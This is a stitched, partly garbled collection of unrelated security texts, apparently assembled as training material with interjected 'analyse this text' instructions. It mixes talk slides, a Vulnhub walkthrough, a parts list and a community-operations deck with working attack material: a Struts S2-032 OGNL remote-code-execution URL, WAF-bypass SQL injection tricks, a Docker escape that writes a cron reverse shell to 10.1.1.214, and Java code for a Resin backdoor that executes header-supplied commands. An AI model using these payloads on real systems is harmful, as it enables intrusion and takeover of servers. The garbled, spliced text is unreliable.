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在v2ex看到一个项目给女朋友生成一个聊天年度报告 https://github.com/myth984/wechat-report 尝试做了一个后觉得挺好玩想到之前做的小8机器人加了很多安全群能否给这些群统计一下做个报 告呢 数据提取 说干就干原项目使用ios导出数据的功能获取数据感觉有点麻烦小8机器人运行在windows的Pc微 信上直接从Pc微信把数据脱出来就行了 PC微信的数据库是sqlite但是加密了参考 https://bbs.pediy.com/thread-251303.htm 从内存中提 取 key 进行解密就能得到数据库了 微信群摸鱼报告 把开源项目的前端简单修改了一下为小8加的所有群都生成了一次 微信群聊年度报告  例: hacking8安全信息流交流群的报告 https://i.hacking8.com/wechat-report/17715724893@chatroo m 获取报告 如果群内加了小8机器人可以在群内输入 @A' 小8 报告 即可获得一份群内专属报告链接 安全圈微信群摸鱼报告 既然小8加的都是些安全群是否能根据群消息分析安全圈微信群的摸鱼报告呢 大数据分析安全圈已经有很多珠玉在前的报告例如 404notfound 师傅的以博客数据的分析我分析 了2018-2020年青年安全圈450个活跃技术博客和博主 gainover 师傅的以微博数据为主的分析安 全圈有多大也许就这么大这次尝试用微信数据进行分析看看安全圈微信群的摸鱼现状~ 注 下面分析采用的数据是小8机器人加的群总计有81个不能反映真实情况不要当真 哪一天说话最多 小8推出并加群的时候才11月份所以统计的也就是这两个月的最小值 161 ,最大值 6972 平均值在 2139 看到12月10日最多超出第二名几乎一倍这一天发生了什么 往回看聊天记录才知道12月9日晚上log4j2的漏洞预警发布到了12月10日exp已经流传开了各 种复现成功的图片和payload 爆发流传所以12月10日应该可以看作是log4j2漏洞爆发的第一天 大家一般都在哪个时间段说话 可以看到两个高峰一个是11点一个是16点说话比较多这个时间正是人一天中精力最旺盛的时 候从21点到0点的时候也有一个上升的坡度且发言数都大于平均值说明在安全人员在晚上也会 进行一些活动 安全人员喜欢哪个语言 php 还是不是安全人员最喜欢的语言怀着这样的疑问进行了统计先对发言的内容进行分词 jieba再和下面的数据取交集 结果如下 programs = ["asp", "php", "java", "python", "go", "golang", "node", "javascript", "js", "rust", ".net", "c#", "csharp", "c", "ruby","nim"] java和go的讨论最多php在第三位 哪个安全研究人员id被最多讨论 通过以下字典可以汇总安全研究人员的id 去除了一些字典杂质后提及次数大于5统计如下,当然这个数据不能说明什么仅供参考 https://github.com/404notf0und/Security-Data-Analysis-and-Visualization https://raw.githubusercontent.com/jiesson/MyPYP/be9496150c1f23aaf294ca2bdbbfcb90 0ad6731a/CTF/%E5%AD%97%E5%85%B8/fuzzDicts-master/userNameDict/sec_id.txt 安全id 提及次数 chybeta 99 l1nk3r 49 aliyun 33 anquanke 27 hacking8 19 orange 15 seebug 14 mars 14 Zedd 12 gh0st 10 hone 10 gh0stkey 9 neargle 9 love 9 Wing 8 payloads 8 z3r0yu 8 boy-hack 8 white 7 space 7 phith0n 6 LoRexxar 6 online 6 hexo 5 leavesongs 5 Cytosine 5 anyu 5 标签云图 大家更喜欢讨论哪家安全公司 因为没有公开的数据统计安全公司做词库所以就百度了一下网络安全的公司选了几个不是很全 统计次数高的top10如下: companies = ["360", "启明星辰", "华为", "深信服", "绿盟", "亚信", "奇安信", "新华三", "安恒", "天融信", "山石", "知道创宇", "恒安嘉新", "阿里", "腾讯","蚂蚁","长亭", "星澜", "字节跳动", "百度


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JTAGulator JTAGulator Bill-of-Materials Bill-of-Materials Bill-of-Materials HW B, Document 1.0, April 19, 2013 HW B, Document 1.0, April 19, 2013 HW B, Document 1.0, April 19, 2013 Build Quantity Build Quantity 1 Item Quantity Reference Manufacturer Manuf. Part # Distributor Distrib. Part # Description Unit Price Per Build Extended 1 2 C1, C2 Kemet C1206C103K5RACTU Digi-Key 399-1234-1-ND Capacitor, 0.01uF ceramic, 10%, 50V, X7R, 1206 $0.160 2 $0.32 2 14 C3, C6, C9, C11, C12, C13, C14, C15, C17, C18, C19, C20, C21, C22 Kemet C1206C104K5RACTU Digi-Key 399-1249-1-ND Capacitor, 0.1uF ceramic, 10%, 50V, X7R, 1206 $0.100 14 $1.40 3 1 C4 Yageo CC1206KRX7R9BB102 Digi-Key 311-1170-1-ND Capacitor, 1000pF ceramic, 10%, 50V, X7R, 1206 $0.130 1 $0.13 4 1 C5 Yageo CC1206KRX7R9BB471 Digi-Key 311-1167-1-ND Capacitor, 470pF ceramic, 10%, 50V, X7R, 1206 $0.130 1 $0.13 5 1 C7 Kemet T491A106M016AS Digi-Key 399-3687-1-ND Capacitor, 10uF tantalum, 20%, 16V, size A $0.410 1 $0.41 6 2 C8, C10 Kemet T491A475K016AT Digi-Key 399-3697-1-ND Capacitor, 4.7uF tantalum, 10%, 16V, size A $0.350 2 $0.70 7 1 D1 Kingbright WP59EGW Digi-Key 754-1232-ND LED, Red/Green Bi-Color, T-1 3/4 (5mm) $0.330 1 $0.33 8 1 L1 TDK MPZ2012S221A Digi-Key 445-1568-1-ND Inductor, Ferrite Bead, 220R@100MHz, 3A, 0805 $0.120 1 $0.12 9 1 P1 Hirose Electric UX60-MB-5S8 Digi-Key H2960CT-ND Connector, Mini-USB, 5-pin, SMT w/ PCB mount $1.380 1 $1.38 10 5 P2, P3, P4, P5, P6 TE Connectivity 282834-5 Digi-Key A98336-ND Connector, Terminal Block, 5-pin, side entry, 0.1 P $1.730 5 $8.65 11 3 P7, P8, P9 3M 961210-6404-AR Digi-Key 3M9460-ND Header, Dual row, Vertical header, 2x5-pin, 0.1 P $0.700 3 $2.10 12 1 Q1 Fairchild MMBT3904 Digi-Key MMBT3904FSCT-ND Transistor, NPN, 40V, 200mA, SOT23-3 $0.150 1 $0.15 13 5 R1, R2, R3, R4, R10 Any Any Digi-Key P10KECT-ND Resistor, 10k, 5%, 1/4W, 1206 $0.100 5 $0.50 14 1 R5 Any Any Digi-Key P470ECT-ND Resistor, 470 ohm, 5%, 1/4W, 1206 $0.100 1 $0.10 15 1 R6 Any Any Digi-Key P270ECT-ND Resistor, 270


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Wietze Beukema (@wietze) D3FC0N, August 2022 SAVE THE ENVIRONMENT (VARIABLE) HIJACKING LEGITIMATE APPLICATIONS WITH A MINIMAL FOOTPRINT D3F C0N @Wietze  Sr Threat Hunter on CrowdStrikes OverWatch Elite team  Based in London, UK  Previously presented at BSides London, MITRE ATT&CK EU Community, SANS DFIR HELLO WORLD, WHO DIS? 2 @WIETZE D3F C0N DLL HIJACKING Tricking a (legitimate/trusted) application into loading an arbitrary DLL Legitimate DLLs Trusted program Evil DLL 3 @WIETZE D3F C0N Attacker- controlled folder Original folder 4 @WIETZE DLL HIJACKING: COMMON TYPES DLL SIDE-LOADING Move vulnerable EXE, put next to malicious DLL DLL SEARCH ORDER HIJACKING Put malicious DLL in folder searched before legit DLL DLL SUBSTITUTION Replace the original DLL with a malicious one D3F C0N Attacker- controlled folder Original folder 5 @WIETZE DLL HIJACKING: LESS COMMON TYPES PHANTOM DLL HIJACKING Create malicious DLL in location that is searched for, but normally does not exist WINSXS HIJACKING Manipulate Windows Side-by-Side infrastructure INPUT-BASED HIJACKING Manipulate the command line, Windows Registry, etc. D3F C0N WELL DOCUMENTED WELL RESEARCHED WELL DETECTED 6 @WIETZE D3F C0N 7 @WIETZE VARIABLES D3F C0N  (Dynamic) variable that can be used by running programs  Can be used in:  Command shells (e.g. %VAR% on Windows, $VAR on Unix)  As well as regular processes (e.g. getenv("VAR") in C)  Typically stored as (ASCII) string 8 @WIETZE ENVIRONMENT VARIABLES D3F C0N ENVIRONMENT VARIABLES: A BRIEF HISTORY An environment variable is a special case of a replaceable parameter. If the SET command is used in the form SET name=value to add an environment variable to the system's environment block, the string value will be substituted for the string %name% wherever the latter is encountered during the interpretation of a batch file. This capability is available only in versions 2.x, 3.1, and 3.2. 70 80 90 00 10 20 1978: Version 7 Unix introduces environment variables 1982: PS DOS 2.0


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HITCON 2019 - Ta-Lun Yen (es) 1 Trust in Apples secret garden: Exploring & Reversing Apples Continuity Protocol HITCON 2019 - Ta-Lun Yen (es) 2 Outline  Motivation  Introduction to Continuity Protocol  iCloud, APNS, iMessage  Continuity  Previous Research  Software Stack  Protocol  Remarks HITCON 2019 - Ta-Lun Yen (es) 3 About me  Working as DevOps + Fullstack  Independent Security Research  Tinkering / Hacking devices or new things  Security in communication process HITCON 2019 - Ta-Lun Yen (es) 4 Motivation  Study on how Apple actually implements security  Shed light into Apples secret garden  Make iOS device more usable on non-macOS device HITCON 2019 - Ta-Lun Yen (es) 5 Motivation  Responsible disclosure? Bug bounty?  No apparent vulnerability found yet  No bug bounty for such domain HITCON 2019 - Ta-Lun Yen (es) 6 Continuity HITCON 2019 - Ta-Lun Yen (es) 7 Continuity  Move seamlessly between your devices with Handoff, Universal Clipboard, iPhone Cellular Calls, SMS/MMS messaging, Instant Hotspot, Continuity Camera, AirDrop, Apple Pay, and Auto Unlock.  Heavily relies on BLE and iMessage / iCloud  Most things wont work without Bluetooth HITCON 2019 - Ta-Lun Yen (es) 8 Why Continuity  Instant Hotspot (macOS + iOS)  Open Wi-Fi menu  Wait for device to appear  Click on devices name  Not-so-Instant Hotspot (!macOS + iOS)  Grab your phone & enable hotspot  Scan for Wi-Fi stations  It usually works, but sometimes it wont  New association only when Hotspot page is active HITCON 2019 - Ta-Lun Yen (es) 9 Contuniuty  ...Continuity takes advantage of technologies like iCloud  ...encryption of the individual messages, which is similar to how iMessage is encrypted... HITCON 2019 - Ta-Lun Yen (es) 10 iCloud, APNs, IDS, iMessage HITCON 2019 - Ta-Lun Yen (es) 11 iCloud  Debuted around end of 2011  Est. 850M users  Multiple Services  Backup, Device Locater, Messaging  Push Service (APNS) HITCON 2019 - Ta-Lun Yen (es) 12 APNs  Apple Push Notification Service  Device ID  APNs addr


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# Prime 1 > https://download.vulnhub.com/prime/Prime_Series_Level-1.rar 靶场IP`192.168.32.212` 扫描对外端口服务 ``` (rootkali)-[/tmp] # nmap -p 1-65535 -sV 192.168.32.212 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-07 04:57 EDT Nmap scan report for 192.168.32.212 Host is up (0.00051s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) MAC Address: 00:0C:29:5B:79:B9 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.34 seconds ``` 访问80端口 ![image-20220907165744607](../../.gitbook/assets/image-20220907165744607.png) 爆破目录 ``` (rootkali)-[/tmp] # dirb http://192.168.32.212/ ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Wed Sep 7 04:58:27 2022 URL_BASE: http://192.168.32.212/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.32.212/ ---- + http://192.168.32.212/dev (CODE:200|SIZE:131) + http://192.168.32.212/index.php (CODE:200|SIZE:136) ==> DIRECTORY: http://192.168.32.212/javascript/ + http://192.168.32.212/server-status (CODE:403|SIZE:302) ==> DIRECTORY: http://192.168.32.212/wordpress/ ---- Entering directory: http://192.168.32.212/javascript/ ---- ==> DIRECTORY: http://192.168.32.212/javascript/jquery/ ---- Entering directory: http://192.168.32.212/wordpress/ ---- + http://192.168.32.212/wordpress/index.php (CODE:301|SIZE:0) ==> DIRECTORY: http://192.168.32.212/wordpress/wp-admin/ ==> DIRECTORY: http://192.168.32.212/wordpress/wp-content/ ==> DIRECTORY: http://192.168.32.212/wordpress/wp-includes/ + http://192.168.32.212/wordpress/xmlrpc.php (CODE:405|SIZE:42) ---- Entering directory: http://192.168.32.212/javascript/jquery/ ---- + http://192.168.32.212/javasc


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# S2-032 Remote Code Execution VulnerablityCVE-2016-3081 [中文版本(Chinese version)](README.zh-cn.md) Affected Version: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3) References: - https://cwiki.apache.org/confluence/display/WW/S2-032 - https://www.cnblogs.com/mrchang/p/6501428.html ## Setup Execute the following command to start the Struts2 2.3.28 ``` docker compose up -d ``` After the container is running, visit `http://your-ip:8080` that you can see an example page. ## Exploitation Theres a feature embedded in Struts 2 that lets the "!" (bang) character invoke a method other than execute. It is called Dynamic Method Invocation aka DMI. A simple way to use DMI is to provide HTTP parameters prefixed with `method:`. For example in the URL it could be `/category.action?method:create=foo`, the parameter value is ignored. The method name of DMI will be evaluated by OGNL expression engine, which would cause the RCE vulnerability. Visit following URL to trigger the `id` command: ``` http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id ``` ![](1.png)


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在WAF子 Who am I IdMayIKissYou 01 WAF Nginx-lua-waf Modsecurity web的WAF这 02 WAF 多只http://www.miku.com/ 1.php?id=1%20and1=1 用多情情 只TCP/IP用到 情WAF下情 WAF bypass Know It Then Bypass It 03 WAF BYPASS 上BYPASS WAFWAF /这WAF上 你上个这 上上 上这 上WAF上bypassWAF 这 04 WAF BYPASS Puzzle到 bypass 到对发WAF情到对mysql情sqlserver情oracle情 postgresmysql到对子情我出 我WAFselect from[好select from子] 1select id from table 09 0A 0B 0C 0D A0 20 只也用 2select id from table /**/ /*!50000*/ /*!*/只也用 3select id from table select-.1,select!.1,select~. 1,select(1),select`host`,select` select1,select@1 只也用 4select id from table select{x version()}, select.`corp`.corp_id from corp;() WAF 我情select from为_ 情 1 时会发 http://wooyun.org/bugs/wooyun-2010-0121291 我sql时会发情们我 []select[][]from[]时 会 1):下1a-z,A-Z_ 2):下2a-z,A-Z_ 3):下3a-z,A-Z 4):下4a-z,A-Z_ 1 时会发 http://wooyun.org/bugs/wooyun-2010-0121291 1 时会发 http://wooyun.org/bugs/wooyun-2010-0121291 http://zone.wooyun.org/content/13270 人上WAF WEBbypass WEB多WAF bypass情asp+IIS aspx+IIS php+apache java+tomcat http情 WAFhttp中http大情大 bypass WAF 好上好 WAFbypass这 WEBbypass 1IIS +asp(%) 那%情中s%elect情WAF s%elect情iis+asp中情select 2IIS+aspx(%u) Iis多unicode情子select那 unicode情s%u006c%u0006ect情那IIS select情WAF情 s%u006c%u0006ect情这bypass 3IIS+asp|aspx HTTP Parameter Polution WEBbypass 4apache method wafmethod可情子GET POST情apache多 可情method HELLO那情 情WAF http://www.wooyun.org/bugs/wooyun-2013-024599 WEBbypass 5php+apache boundary PHPmultipart data情boundary情 成情子下boundary----aaaa,123456情php ----aaaa,过WAF 情那情BYPASS 2 windowsbypass http://wooyun.org/bugs/wooyun-2010-0115175 我 1用我 id=1 and 1=1 2用我 id=1 a%nd 1=1 3用我 id =1 %u0061nd 1=1 我WAF 2 windowsbypass http://wooyun.org/bugs/wooyun-2010-0115175 %u0061 %uxxxx就65535,and 我asciiand![] 65535 %00aa%00e2 2 windowsbypass http://wooyun.org/bugs/wooyun-2010-0115175 bypass以 http://blog.sina.com.cn/s/blog_85e506df0102vo9s.html Author by yuange widechar情widechar iis情 情widechar 那 Web上 好 WAFBypass WAF发WAF情WAF 很子 1用WAF 没我 2用WAF 说 3用WAF 4用WAF BUG 5用 WAFBypass WAF 还WAFWAF只用想情最的 们有[IP情IP情情


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一判断是否在docker容器里 首先我们需要先判断是否在docker环境里常用的两个检测方式 目前来说这两种检测方式还是比较有效的其他检测方式如检测mountfdisk -l查看硬盘 判断PID 1的进程名 等也可用来辅助判断 二配置不当引发的docker逃逸 2.1 docker remote api未授权访问 漏洞简述docker remote api可以执行docker命令docker守护进程监听在0.0.0.0可直接调用API来操作 docker 通过docker daemon api 执行docker命令 漏洞利用 A新运行一个容器挂载点设置为服务器的根目录挂载至/mnt目录下 B在容器内执行命令将反弹shell的脚本写入到/var/spool/cron/root C本地监听端口获取对方宿主机shell 2.2 docker.sock挂载到容器内部 场景描述简单来说就是docker in docker在docker容器中调用和执行宿主机的docker将docker宿主机的 docker文件和docker.sock文件挂载到容器中具体为 检查/.dockerenv文件是否存在 检查/proc/1/cgroup内是否包含"docker"等字符串 sudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375 #列出容器信息效果与docker ps一致 curl http://<target>:2375/containers/json #启动容器 docker -H tcp://<target>:2375 ps -a sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root 漏洞测试 A在容器中找到docker.sock B在容器查看宿主机docker信息 C运行一个新容器并挂载宿主机根路径 D在新容器的/test 目录下就可以访问到宿主机的全部资源接下来就是写入ssh密钥或者写入计划任务获取 shell 2.3 docker 高危启动参数 docker run --rm -it \ -v /var/run/docker.sock:/var/run/docker.sock \ -v /usr/bin/docker:/usr/bin/docker \ ubuntu \ /bin/bash root@95a280bc5a19:/# find / -name docker.sock /run/docker.sock docker -H unix:///var/run/docker.sock info docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash ls -al /test docker中存在一些比较高危的启动命令给予容器较大的权限允许执行一些特权操作在一定的条件下可以导 致容器逃逸 特权模式--privileged 使用特权模式启动的容器时docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部获取对整个 宿主机的文件读写权限此外还可以通过写入计划任务等方式在宿主机执行命令 漏洞测试 A通过特权模式运行一个容器 B在容器内查看磁盘文件 C将/dev/sda1 挂载到新建目录 D将计划任务写入到宿主机 docker run --rm -it --privileged -v /:/soft --cap-add=SYS_ADMIN --net=host --pid=host --ipc=host ubuntu /bin/bash sudo docker run -itd --privileged ubuntu:latest /bin/bash fdisk -l mkdir /test mount /dev/sda1 /test E开启nc监听成功获取宿主机反弹回来的shell 挂载敏感目录-v /:/soft 漏洞测试 A将宿主机root目录挂载到容器 B模拟攻击者写入ssh密钥 C利用私钥成功登录获取宿主机权限 相关启动参数存在的安全问题 Docker 通过Linux namespace实现6项资源隔离包括主机名用户权限文件系统网络进程号进程间通 讯但部分启动参数授予容器权限较大的权限从而打破了资源隔离的界限 echo '* * * * * /bin/bash -i >


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回显 Resin 4.x 在resin 4.X中跟一下如何获取response对象 com.caucho.server.http.HttpRequest#handleRequest com.caucho.server.http.AbstractHttpRequest#getResponseFacade 返回 response 对象 所以如果能获取到AbstractHttpRequest对象并调用该对象的getResponseFacade方法即可获取 response对象 获取AbstractHttpRequest对象继承关系如下: CTRL + H 基于 TcpSocketLink com.caucho.network.listen.TcpSocketLink 通过反射从 _currentRequest 获取到request对象 测试发现实际上获取到的request对象为HttpRequest类型而HttpRequest继承自 AbstractHttpRequest 则可以调用getResponseFacade()方法获取response对象 回显思路 通过调用TcpSocketLink.getCurrentRequest()获取ProtocolConnection对象实际 HttpRequest 通过调用其父类(AbstractHttpRequest)的getResponseFacade方法获取response对象 通过反射调用reponse对象的getWriter方法获取PrintWriter对象 通过PrintWriter对象的write方法写入回显内容 代码实现 // 获取TcpSocketLink Class对象 Class tcpSocketLinkClazz = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.network.lis ten.TcpSocketLink"); // 通过反射调用getCurrentRequest方法 Method getCurrentRequestM = tcpSocketLinkClazz.getMethod("getCurrentRequest"); Object currentRequest = getCurrentRequestM.invoke(null); // 从父类(AbstractHttpRequest)中获取_responseFacade字段 Field f = currentRequest.getClass().getSuperclass().getDeclaredField("_responseFacade"); f.setAccessible(true); // 获取response对象 Object response = f.get(currentRequest); // 获取getWriter方法 Method getWriterM = response.getClass().getMethod("getWriter"); // 调用getWriter获取Writer对象 基于 ServletInvocation com.caucho.server.dispatch.ServletInvocation#getContextRequest 获取ContextRequest对象 实际获取到的为HttpServletRequestImpl对象 com.caucho.server.http.HttpServletRequestImpl#_response 获取到HttpServletRequestImpl对象后通过_response字段获取到response对象 运行时截图 Writer writer = (Writer)getWriterM.invoke(response); // 获取getHeader方法 Method getHeaderM = currentRequest.getClass().getMethod("getHeader", String.class); // 调用getHeader获取到通过需执行的命令cmd String cmd = (String)getHeaderM.invoke(currentRequest, "cmd"); // 执行命令 Scanner scanner = (new Scanner(Runtime.getRuntime().exec(cmd).getInputStream())).useDelimiter("\\A"); // 写入命令执行结果并回显 writer.write(scanner.hasNext() ? sca


Instruction: 请分析这段安全相关的文本内容

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Abusing Certificate Transparency Or how to hack Web Applications before Installation Hanno Böck https://hboeck.de/ 1 HTTPS 2 Certificate Authorities 3 Can we trust Certificate Authorities? 4 No 5 CAs are bad, we need to get rid of them Popular Infosec opinion 6 Reality Nobody has a feasible plan how to replace CAs 7 Improving the CA system 8 Baseline Requirements 9 HTTP Public Key Pinning (HPKP) 10 Certificate Authority Authorization (CAA) 11 Certificate Transparency 12 Public logs 13 CT Details Merkle Hash Trees, Signed Certificate Timestamps (SCT), Signed Tree Head (STH), Precertificates, Monitors, Gossip, ... 14 Certificate logging Next year (April) logging will be required for all certificates 15 Today 16 The CA watchdog Everyone can check logs for suspicious activity 17 18 19 20 https://crt.sh 21 Certificate Transparency is also a data source 22 Feed of new host names 23 Let's talk about something else 24 Web applications 25 Installers 26 No authentication! 27 Old: Google dorking web installers 28 New idea There is a time window between uploading files and completing the installer 29 Remember: We have a feed of newly created host names 30 Attack 31 Monitor CT logs, extract host names 32 Check hosts for common installers 33 If installer found: Install the application 34 Upload a plugin with code execution backdoor 35 Revert installation 36 Database credentials Use external database host 37 Demo 38 Challenges Logged certificates aren't immediately public (around 30 minutes) 39 Optimizations Instead of checking sites once one could check them multiple times 40 Numbers 5000 Wordpress installations within three months. 500 x Joomla, 120 x Nextcloud, 70 x Owncloud. 41 Protection 42 Installers need authentication 43 Challenge Application programmers want easy installations 44 Security tokens Webapp creates token file, user has to read token 45 Vendors Drupal, Typo3, Owncloud ... no reaction 46 Vendors Wordpress, Nextcloud, Serendipity participated in cross-vendor disc


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那些年 知识星球运营分享 曹将 个人简介 曹将 畅销书PPT炼成记作者 世界500强企业总部培训负责人 自媒体平台详情  公众号曹将 21万读者  微博曹将PPTao 52万读者  知乎曹将 10万关读者 知识星球简介 星球 曹将和朋友们 成员数 5000+ 核心成员 88 星球天数 1290 星球运营人数 1.5 巨坑 我是谁 WHO AM I 2016年 一次意外 2018年 转型 2019年 问题 2020年 清晰 有些话 只想跟你少数人说 转岗 时间不够用 招助理 我们的定位 到底是什么 WHO AM I KP 关键合作伙伴 KA 关键活动 VP 价值主张 CR 客户关系 CS 目标客群 CH渠道 KR 关键资源 C$ 成本结构 R$ 收益结构 商业模式地图 谁可以帮我 要做什么 我有什么 解决客户什么痛点 怎样和对方打交道 我能帮助到谁 如何宣传自己 我要付出什么 我会得到什么 商业模式地图 KP 关键合作伙伴 KA 关键活动 VP 价值主张 CR 客户关系 CS 目标客群 CH渠道 KR 关键资源 C$ 成本结构 R$ 收益结构 谁可以帮我 要做什么 我有什么 怎样和对方打交道 我能帮助到谁 如何宣传自己 我要付出什么 我会得到什么 1. 知识星球 2. KOL 3. 印象笔记 4. iSlide 5. 得到 6. 数据  1. 拉新 2. 促活 1. 社群学习氛围 2. 免费资源 3. 红包奖励 4. 荣誉打造 5. 专属微信群 1. 职场效率提升 2. 找准向少踩坑 1. 评论 2. 问答 3. 核群 4. 发 5. 直播 1. 公众号 2. 微博 3. 知识星球 4. 用户碑分享 作1-5年的职场 1.资 2.星球奖励 3.直播感谢 4.双拉新优惠 星球收 解决客户什么痛点 画完图就够了吗 LONG LONG WAY TO GO 坑一 只靠激情没有激励  奖励1加入精华 ①获奖人数不限 ②获奖频率不限 ③衡量标准评估发帖质量由曹将评价 ④获奖金额每条5元  奖励2一周之星  ①获奖人数1人 ②获奖频率每周一次 ③衡量标准当周点赞量最多 ④获奖内容15元奖励并受邀加入曹将和朋友们精华群  奖励3密圈互动TOP3 ①获奖人数3人 ②获奖频率每月两次 ③衡量标准点赞数 ④获奖内容第一名70元第二名20元第三名10元 并受邀加入曹将和朋友们精华群  奖励4月度之星 ①获奖人数不限 ②获奖频率不限 ③衡量标准综合考虑发帖数量加精数量和点赞量 ④获奖内容100元奖励纸质版职场升级手册1.0一本 并受邀加入曹将和朋友们精华群  奖励5职场加油站最佳分享 ①获奖人数4人 ②获奖频率每月两次 ③衡量标准邀请的讲师被讲师选出的优秀作业3人 ④获奖内容讲师激励200元优秀作业每人30元 我们还在持续丰富我们的奖励池包括但不 限于得到贝iSlide会员金数据会员印 象笔记会员等 坑二 开始倾囊而出后续弹尽粮绝 每天写 一鼓作气再而衰三而竭 每周更新三次 主题式更新 坑三 情怀主义服务情绪主义结束 我要搞线下聚会 我要搞直播 我要做各种训练营 我要做各种兴趣群 我要搭建大家的人脉地图  好累啊 好烦啊 算了 一切围绕目标做 WHAT DO I WANT TO GET! 促活 数量 质量 自下而上 自上而下 引导优质 盘活优质 1. 打卡 2. 日常发 1. 密圈互动 1. 直播课后作业 1. 过往资源合辑 奖励制度 沉淀 目标 行为 子目标 保障 坑四 大锅饭大家散 两种方案 Plan A 30元30元30元 Plan B 70元20元10元 每次互动要选出前三名进行奖励 应该选择哪一个 坑五 拉群拉群拉群好累好累好累 我花了99元你应该服务我一生 群死了 我们只建精华群 普通星友 优秀星友 荣誉感 归属感 高质量发帖 - 周之星 - 月之星 - 互动TOP3 坑六 差不多就行了差不多就算了 设计感很重要 坑七 下次注意下次一定不注意 错误的事都要变成流程 我是小结 一张图回答我是谁 KP 关键合作伙伴 KA 关键活动 VP 价值主张 CR 客户关系 CS 目标客群 CH渠道 KR 关键资源 C$ 成本结构 R$ 收益结构 谁可以帮我 要做什么 我有什么 怎样和对方打交道 我能帮助到谁 如何宣传自己 我要付出什么 我会得到什么 1. 知识星球 2. KOL 3. 印象笔记 4. iSlide 5. 得到 6. 数据  1. 拉新 2. 促活 1. 社群学习氛围 2. 免费资源 3. 红包奖励 4. 荣誉打造 5. 专属微信群 1. 职场效率提升 2. 找准向少踩坑 1. 评论 2. 问答 3. 核群 4. 发 5. 直播 1. 公众号 2. 微博 3. 知识星球 4. 用户碑分享 作1-5年的职场 1.资 2.星球奖励 3.直播感谢


Instruction: 请分析这段安全相关的文本内容

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# Race Condition ## 概述 条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序当这些不受控制的事件并没有按照开发者想要的方式运行时就可能会出现 bug这个术语最初来自于两个电信号互相竞争来影响输出结果 条件竞争主要出现在如下领域 - 电子系统尤其是逻辑电路 - 计算机尤其是多线程程序和分布式程序 由于目前的系统中大量采用并发编程经常对资源进行共享往往会产生条件竞争漏洞 这里我们主要考虑计算机程序方面的条件竞争当一个软件的运行结果依赖于进程或者线程的顺序时就可能会出现条件竞争简单考虑一下可以知道条件竞争需要如下的**条件** - 并发即至少存在两个并发执行流这里的执行流包括线程进程任务等级别的执行流 - 共享对象即多个并发流会访问同一对象**常见的共享对象有共享内存文件系统信号一般来说这些共享对象是用来使得多个程序执行流相互交流**此外我们称访问共享对象的代码为**临界区**在正常写代码时这部分应该加锁 - 改变对象即至少有一个控制流会改变竞争对象的状态因为如果程序只是对对象进行读操作那么并不会产生条件竞争 由于在并发时执行流的不确定性很大条件竞争相对**难察觉**并且在**复现和调试方面会比较困难**这给修复条件竞争也带来了不小的困难 条件竞争造成的影响也是多样的轻则程序异常执行重则程序崩溃如果条件竞争漏洞被攻击者利用的话很有可能会使得攻击者获得相应系统的特权 这里举一个简单的例子 ```c #include <pthread.h> #include <stdio.h> int counter; void *IncreaseCounter(void *args) { counter += 1; sleep(0.1); printf("Thread %d has counter value %d\n", (unsigned int)pthread_self(), counter); } int main() { pthread_t p[10]; for (int i = 0; i < 10; ++i) { pthread_create(&p[i], NULL, IncreaseCounter, NULL); } for (int i = 0; i < 10; ++i) { pthread_join(p[i], NULL); } return 0; } ``` 一般来说我们可能希望按如下方式输出 ```shell  005race_condition ./example1 Thread 1859024640 has counter value 1 Thread 1841583872 has counter value 2 Thread 1832863488 has counter value 3 Thread 1824143104 has counter value 4 Thread 1744828160 has counter value 5 Thread 1736107776 has counter value 6 Thread 1727387392 has counter value 7 Thread 1850304256 has counter value 8 Thread 1709946624 has counter value 9 Thread 1718667008 has counter value 10 ``` 但是由于条件竞争的存在最后输出的结果往往不尽人意 ```c  005race_condition ./example1 Thread 1417475840 has counter value 2 Thread 1408755456 has counter value 2 Thread 1391314688 has counter value 8 Thread 1356433152 has counter value 8 Thread 1365153536 has counter value 8 Thread 1373873920 has counter value 8 Thread 1382594304 has counter value 8 Thread 1400035072 has counter value 8 Thread 1275066112 has counter value 9 Thread 1266345728 has counter value 10 ``` 仔细思考一下条件竞争为什么可能会发生呢以下面的为具体的例子 - 程序首先执行了action1然后执行了action2其中 action 可能是应用级别的也可能是操作系统级别的正常来说我们希望程序在执行 ac


